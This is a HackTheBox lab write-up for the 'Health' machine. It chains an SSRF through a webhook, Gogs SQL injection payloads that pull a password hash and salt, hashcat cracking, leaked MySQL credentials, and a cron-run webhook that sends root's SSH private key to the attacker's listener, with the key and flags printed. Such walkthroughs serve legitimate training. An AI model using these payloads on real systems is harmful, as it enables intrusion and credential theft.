Health HackTheBox Writeup | 0xv01d
Health Walkthrough
Health Overview

Health machine on HackTheBox, submitted by irogir. The machine starts with a web server that allows us to create webhooks that we will leverage and redirect the hook to an internal service vulnerable to SQLI, exposing user's credentials and gaining access to the machine. After that, we'll discover some root-run cron tabs that bind webhooks and a laravel database whose credentials are leaked in the configuration files, allowing us to read root's id_rsa.

Reconnaissance

Port-Scan

As always let's start with a port scan, we only have port 22 and 80 open, also 3000 filtered, this one seems interesting, but there really isn't much, let's take a look at the web

Port 80: WebHook

As we can see it's a page where we can set a webhook, since port 3000 of the machine is filtered, we can write a script to redirect the request to its localhost and see what's in it

Foothold

Setting Up SSRF with Port 3000

We are going to set up a listener with netcat that will serve as a hook and where the content of port 3000 will arrive as payload, since we are going to redirect the request to it.


#!/usr/bin/ruby

require 'webrick'

class RedirectServlet < WEBrick::HTTPServlet::AbstractServlet
  def do_GET(request, response)
    response.status = 302
    response['Location'] = ARGV[0]
  end
end

server = WEBrick::HTTPServer.new(:Port => 80)
server.mount '/', RedirectServlet
trap 'INT' do server.shutdown end
server.start
 

Let's leave the script running and netcat listening


sudo ruby redirect.rb http://127.0.0.1:3000/
[2022-12-30 16:36:42] INFO  WEBrick 1.6.1
[2022-12-30 16:36:42] INFO  ruby 2.7.4 (2021-07-07) [x86_64-linux-gnu]
[2022-12-30 16:36:42] INFO  WEBrick::HTTPServer#start: pid=154477 port=80

sudo nc -nlvp 9001 > test
listening on [any] 9001 ...
 

Testing the WebHook

Now we are going to test the webhook

It should hit our server and we should receive the data via netcat


sudo ruby redirect.rb http://127.0.0.1:3000/
[2022-12-30 16:36:42] INFO  WEBrick 1.6.1
[2022-12-30 16:36:42] INFO  ruby 2.7.4 (2021-07-07) [x86_64-linux-gnu]
[2022-12-30 16:36:42] INFO  WEBrick::HTTPServer#start: pid=154477 port=80
10.10.11.176 - - [30/Dec/2022:16:38:16 EST] "GET / HTTP/1.0" 302 0
- -> /

sudo nc -nlvp 9001 > test
listening on [any] 9001 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.176] 55652
 

GOGS Enumeration

Once we format the data, we can see that it's running gogs

Searching a bit with searchsploit we find a sqli, and a poc, let's try it making another webhook.


searchsploit gogs
----------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                   |  Path
----------------------------------------------------------------------------------------------------------------- ---------------------------------
Gogs - 'label' SQL Injection                                                                                     | multiple/webapps/35237.txt
Gogs - 'users'/'repos' '?q' SQL Injection                                                                        | multiple/webapps/35238.txt
----------------------------------------------------------------------------------------------------------------- ---------------------------------

searchsploit gogs -x 35238
<................................>
Proof of Concept                                                                 
================
Request:
http://www.example.com/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09
(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09
user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)
%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09
as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as
%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09
a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09
JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN
%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN
%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN
%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN
%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN
%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27
<................................>
 

Exploiting Gogs with SQL Injection

Retrieving User Credentials

Once we repeat the process we should get more data


sudo ruby redirect.rb "http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,1,(select/**/passwd/**/from/**/user),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--"
[2022-12-30 18:32:04] INFO  WEBrick 1.6.1
[2022-12-30 18:32:04] INFO  ruby 2.7.4 (2021-07-07) [x86_64-linux-gnu]
[2022-12-30 18:32:04] INFO  WEBrick::HTTPServer#start: pid=224013 port=80
10.10.11.176 - - [30/Dec/2022:18:32:31 EST] "GET / HTTP/1.0" 302 0
- -> /
sudo nc -nlvp 9001 > psswd
listening on [any] 9001 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.176] 36982
 

And we get a username and password, let's get the salt


cat psswd | tail -n1 | jq
{
<..........................................>
  "body": "{\"data\":[{\"username\":\"susanne\",\"avatar\":\"//1.gravatar.com/avatar/c11d48f16f254e918744183ef7b89fce\"},{\"username\":\"66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37\",\"avatar\":\"//1.gravatar.com/avatar/1\"}],\"ok\":true}",
<..........................................>
}
 

Once we repeat the process again we obtain the salt


sudo ruby redirect.rb "http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,1,(select/**/salt/**/from/**/user),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--"
[2022-12-30 18:32:04] INFO  WEBrick 1.6.1
[2022-12-30 18:32:04] INFO  ruby 2.7.4 (2021-07-07) [x86_64-linux-gnu]
[2022-12-30 18:32:04] INFO  WEBrick::HTTPServer#start: pid=224013 port=80
10.10.11.176 - - [30/Dec/2022:18:32:31 EST] "GET / HTTP/1.0" 302 0
- -> /
sudo nc -nlvp 9001 > salt
listening on [any] 9001 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.176] 36982

cat  salt | tail -n1 | jq
<..........................................>
{
  "body": "{\"data\":[{\"username\":\"susanne\",\"avatar\":\"//1.gravatar.com/avatar/c11d48f16f254e918744183ef7b89fce\"},{\"username\":\"sO3XIbeW14\",\"avatar\":\"//1.gravatar.com/avatar/1\"}],\"ok\":true}",
}
<..........................................>
 

Cracking Password Hashes

So, since we have the password and salt, let's format it in a hashcat format, taking a look at the gogs source code we can see that it's a PBKDF2 hash, also we should convert the salt to base64


echo 'sha256:10000:'$(echo 'sO3XIbeW14' | base64 | head -c 14; echo)':'$(echo '66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37' | xxd -r -p | base64)
sha256:1000:c08zWEliZVcxNA:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=
 

Let's crack it


hashcat -O -m 10900 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
<...........................................................................>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344395
* Bytes.....: 139921684
* Keyspace..: 14344395

Approaching final keyspace - workload adjusted.  

sha256:10000:c08zWEliZVcxNA:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=:february15

Session..........: hashcat
Status...........: Cracked
Hash.Name........: PBKDF2-HMAC-SHA256
Hash.Target......: sha256:10000:c08zWEliZVcxNA:ZsB0ZFVFeB8QZPt/0Rd0U9...9O/jc=
Time.Started.....: Tue Nov  1 22:44:51 2022 (20 secs)
Time.Estimated...: Tue Nov  1 22:45:11 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   790.9 kH/s (0.81ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests
Progress.........: 14344395/14344395 (100.00%)
Rejected.........: 6538/14344395 (0.05%)
Restore.Point....: 14343560/14344395 (99.99%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: !!anthony!!

Started: Tue Nov  1 22:44:03 2022
Stopped: Tue Nov  1 22:44:42 2022
 

SSH Access

Now we can connect via ssh and read the first flag


ssh susanne@10.10.11.176
susanne@10.10.11.176's password: february15

susanne@health:~$ cat user.txt 
0c3cbd1c91db1aa4096bb4a60b810b6f
susanne@health:~$ 
 

Privilege Escalation

Exploring Scheduled Tasks

Snooping around we find some interesting tasks


UID=0    PID=4732   | mysql laravel --execute TRUNCATE tasks 
UID=0    PID=4736   | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1 
UID=0    PID=4735   | /bin/bash -c sleep 5 && /root/meta/clean.sh 
UID=0    PID=4738   | php artisan schedule:run 
UID=0    PID=4745   | mysql laravel --execute TRUNCATE tasks 
 

Finding MySQL Credentials

Also, we can find mysql creds in the web directory


susanne@health:/var/www/html$ cat ./.env
DB_DATABASE=laravel
DB_USERNAME=laravel
DB_PASSWORD=MYsql_strongestpass@2014+
susanne@health:/var/www/html$
 

Updating a Webhook to Access Root's id_rsa

As we saw earlier, the json return refers to the monitored URL, since the cron tabs listed above run as root, if we change it to point to root id_rsa we can gain access to it, we only have to create a webhook and modify it from the DB


susanne@health:/var/www/html/app/Http/Controllers$ cat HealthChecker.php 
<..............................................................................>
    public static function check($webhookUrl, $monitoredUrl, $onlyError = false)
    {

        $json = [];
        $json['webhookUrl'] = $webhookUrl;
        $json['monitoredUrl'] = $monitoredUrl;

        $res = @file_get_contents($monitoredUrl, false);
<..............................................................................>
 

Set the listener


sudo nc -nlvp 80
listening on [any] 80 ...
 

And create the webhook

Now let's update the table


susanne@health:~$ mysql -D 'laravel' -u 'laravel' -p
Enter password: MYsql_strongestpass@2014+

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 400
Server version: 5.7.39-0ubuntu0.18.04.2 (Ubuntu)

mysql> update tasks set monitoredUrl='file:///root/.ssh/id_rsa';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0

mysql> 
 

Obtaining Root Access and Reading the Final Flag

And in a couple of minutes we get the ssh key


sudo nc -lvnp 80
Listening on 0.0.0.0 80
Connection received on 10.10.11.176
POST / HTTP/1.1
Host: 10.10.14.10
Accept: */*
Content-type: application/json
Content-Length: 1835
Expect: 100-continue

{"webhookUrl":"http:\/\/10.10.14.10\/","monitoredUrl":"file:\/\/\/root\/.ssh\/id_rsa","health":"up","body":"-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAwddD+eMlmkBmuU77LB0LfuVNJMam9\/jG5NPqc2TfW4Nlj9gE\nKScDJTrF0vXYnIy4yUwM4\/2M31zkuVI007ukvWVRFhRYjwoEPJQUjY2s6B0ykCzq\nIMFxjreovi1DatoMASTI9Dlm85mdL+rBIjJwfp+Via7ZgoxGaFr0pr8xnNePuHH\/\nKuigjMqEn0k6C3EoiBGmEerr1BNKDBHNvdL\/XP1hN4B7egzjcV8Rphj6XRE3bhgH\n7so4Xp3Nbro7H7IwIkTvhgy61bSUIWrTdqKP3KPKxua+TqUqyWGNksmK7bYvzhh8\nW6KAhfnHTO+ppIVqzmam4qbsfisDjJgs6ZwHiQIDAQABAoIBAEQ8IOOwQCZikUae\nNPC8cLWExnkxrMkRvAIFTzy7v5yZToEqS5yo7QSIAedXP58sMkg6Czeeo55lNua9\nt3bpUP6S0c5x7xK7Ne6VOf7yZnF3BbuW8\/v\/3Jeesznu+RJ+G0ezyUGfi0wpQRoD\nC2WcV9lbF+rVsB+yfX5ytjiUiURqR8G8wRYI\/GpGyaCnyHmb6gLQg6Kj+xnxw6Dl\nhnqFXpOWB771WnW9yH7\/IU9Z41t5tMXtYwj0pscZ5+XzzhgXw1y1x\/LUyan++D+8\nefiWCNS3yeM1ehMgGW9SFE+VMVDPM6CIJXNx1YPoQBRYYT0lwqOD1UkiFwDbOVB2\n1bLlZQECgYEA9iT13rdKQ\/zMO6wuqWWB2GiQ47EqpvG8Ejm0qhcJivJbZCxV2kAj\nnVhtw6NRFZ1Gfu21kPTCUTK34iX\/p\/doSsAzWRJFqqwrf36LS56OaSoeYgSFhjn3\nsqW7LTBXGuy0vvyeiKVJsNVNhNOcTKM5LY5NJ2+mOaryB2Y3aUaSKdECgYEAyZou\nfEG0e7rm3z++bZE5YFaaaOdhSNXbwuZkP4DtQzm78Jq5ErBD+a1af2hpuCt7+d1q\n0ipOCXDSsEYL9Q2i1KqPxYopmJNvWxeaHPiuPvJA5Ea5wZV8WWhuspH3657nx8ZQ\nzkbVWX3JRDh4vdFOBGB\/ImdyamXURQ72Xhr7ODkCgYAOYn6T83Y9nup4mkln0OzT\nrti41cO+WeY50nGCdzIxkpRQuF6UEKeELITNqB+2+agDBvVTcVph0Gr6pmnYcRcB\nN1ZI4E59+O3Z15VgZ\/W+o51+8PC0tXKKWDEmJOsSQb8WYkEJj09NLEoJdyxtNiTD\nSsurgFTgjeLzF8ApQNyN4QKBgGBO854QlXP2WYyVGxekpNBNDv7GakctQwrcnU9o\n++99iTbr8zXmVtLT6cOr0bVVsKgxCnLUGuuPplbnX5b1qLAHux8XXb+xzySpJcpp\nUnRnrnBfCSZdj0X3CcrsyI8bHoblSn0AgbN6z8dzYtrrPmYA4ztAR\/xkIP\/Mog1a\nvmChAoGBAKcW+e5kDO1OekLdfvqYM5sHcA2le5KKsDzzsmboGEA4ULKjwnOXqJEU\n6dDHn+VY+LXGCv24IgDN6S78PlcB5acrg6m7OwDyPvXqGrNjvTDEY94BeC\/cQbPm\nQeA60hw935eFZvx1Fn+mTaFvYZFMRMpmERTWOBZ53GTHjSZQoS3G\n-----END RSA PRIVATE KEY-----\n"}
 

Once we format it we can connect and read the final flag


cat id_rsa

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwddD+eMlmkBmuU77LB0LfuVNJMam9/jG5NPqc2TfW4Nlj9gE
KScDJTrF0vXYnIy4yUwM4/2M31zkuVI007ukvWVRFhRYjwoEPJQUjY2s6B0ykCzq
IMFxjreovi1DatoMASTI9Dlm85mdL+rBIjJwfp+Via7ZgoxGaFr0pr8xnNePuHH/
KuigjMqEn0k6C3EoiBGmEerr1BNKDBHNvdL/XP1hN4B7egzjcV8Rphj6XRE3bhgH
7so4Xp3Nbro7H7IwIkTvhgy61bSUIWrTdqKP3KPKxua+TqUqyWGNksmK7bYvzhh8
W6KAhfnHTO+ppIVqzmam4qbsfisDjJgs6ZwHiQIDAQABAoIBAEQ8IOOwQCZikUae
NPC8cLWExnkxrMkRvAIFTzy7v5yZToEqS5yo7QSIAedXP58sMkg6Czeeo55lNua9
t3bpUP6S0c5x7xK7Ne6VOf7yZnF3BbuW8/v/3Jeesznu+RJ+G0ezyUGfi0wpQRoD
C2WcV9lbF+rVsB+yfX5ytjiUiURqR8G8wRYI/GpGyaCnyHmb6gLQg6Kj+xnxw6Dl
hnqFXpOWB771WnW9yH7/IU9Z41t5tMXtYwj0pscZ5+XzzhgXw1y1x/LUyan++D+8
efiWCNS3yeM1ehMgGW9SFE+VMVDPM6CIJXNx1YPoQBRYYT0lwqOD1UkiFwDbOVB2
1bLlZQECgYEA9iT13rdKQ/zMO6wuqWWB2GiQ47EqpvG8Ejm0qhcJivJbZCxV2kAj
nVhtw6NRFZ1Gfu21kPTCUTK34iX/p/doSsAzWRJFqqwrf36LS56OaSoeYgSFhjn3
sqW7LTBXGuy0vvyeiKVJsNVNhNOcTKM5LY5NJ2+mOaryB2Y3aUaSKdECgYEAyZou
fEG0e7rm3z++bZE5YFaaaOdhSNXbwuZkP4DtQzm78Jq5ErBD+a1af2hpuCt7+d1q
0ipOCXDSsEYL9Q2i1KqPxYopmJNvWxeaHPiuPvJA5Ea5wZV8WWhuspH3657nx8ZQ
zkbVWX3JRDh4vdFOBGB/ImdyamXURQ72Xhr7ODkCgYAOYn6T83Y9nup4mkln0OzT
rti41cO+WeY50nGCdzIxkpRQuF6UEKeELITNqB+2+agDBvVTcVph0Gr6pmnYcRcB
N1ZI4E59+O3Z15VgZ/W+o51+8PC0tXKKWDEmJOsSQb8WYkEJj09NLEoJdyxtNiTD
SsurgFTgjeLzF8ApQNyN4QKBgGBO854QlXP2WYyVGxekpNBNDv7GakctQwrcnU9o
++99iTbr8zXmVtLT6cOr0bVVsKgxCnLUGuuPplbnX5b1qLAHux8XXb+xzySpJcpp
UnRnrnBfCSZdj0X3CcrsyI8bHoblSn0AgbN6z8dzYtrrPmYA4ztAR/xkIP/Mog1a
vmChAoGBAKcW+e5kDO1OekLdfvqYM5sHcA2le5KKsDzzsmboGEA4ULKjwnOXqJEU
6dDHn+VY+LXGCv24IgDN6S78PlcB5acrg6m7OwDyPvXqGrNjvTDEY94BeC/cQbPm
QeA60hw935eFZvx1Fn+mTaFvYZFMRMpmERTWOBZ53GTHjSZQoS3G
-----END RSA PRIVATE KEY-----

chmod 600 id_rsa

ssh -i id_rsa root@10.10.11.176

root@health:~# cat root.txt 
ceadf881e3fe73ccfb6f7248ec438ea4
root@health:~# 
 
Buy Me A Coffee

0xv01d © 2022 - 2024